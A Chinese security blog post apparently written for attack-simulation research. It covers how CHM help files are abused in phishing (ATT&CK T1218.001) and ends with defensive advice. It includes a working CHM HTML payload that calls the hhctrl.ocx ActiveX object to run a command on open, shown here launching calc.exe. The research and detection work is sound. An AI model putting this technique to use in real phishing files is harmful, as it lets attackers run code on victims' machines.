倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

18 Sep 2023

邮件钓鱼与T1218.001

背景

0

今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。

CHM文件打开的过程

CHM文件是各种内容的压缩编译,如HTML文档,图像和脚本/Web相关的编程语言,在CHM打开时,会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。

1

CHM的Payload

CHM文件可以通过hh.exe进行反编译:

1
hh.exe -decompile %temp%  payload.chm

如何构建CHM文件?

可以使用Microsoft HTML Help Workshop工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:

2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<html>
    <head>
<OBJECT id="Test" type="application/x-oleobject" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" codebase="hhctrl.ocx#Version=5,02,3790,1194" width="1" height="1">
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd.exe, /c calc.exe">
<PARAM name="Item2" value="273,1,1">
</object>
<script>
Test.HHClick();
</script>
</head>
<body>
<h1>Hello</h1>
</body>
</html>

在这段代码中,调用了hhctrl.ocxCOM组件,该组件的方法可以执行命令:

3

COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC

4

Atomic atomic-red-team/atomics/T1218.001/src/T1218.001.html at master · redcanaryco/atomic-red-team (github.com) 给出的测试用例代码调用的是Click方法,我测试了HHClick也能够触发。

我在本地尝试编译了一个弹出计算器的CHM文档,上传至VirusTotal进行分析:

5

在ATT&CK中也提到有攻击组织采用调用ActiveX对象的方法来对文件进行操作,这个过程可能不会创建进程:

6

CHM文件执行命令的防御措施

这里可以直接总结一下ATT&CK矩阵上的建议:

  1. 阻止CHM文件的下载
  2. 进程监控,监视和分析hh.exe的执行和参数。将最近调用的hh.exe与已知良好参数的先前历史记录进行比较,以确定异常和潜在的对抗性活动(例如:混淆和/或恶意命令)。非标准进程执行树也可能指示可疑或恶意行为,例如,如果hh.exe是与其他对抗性技术相关的可疑进程和活动的父进程。

参考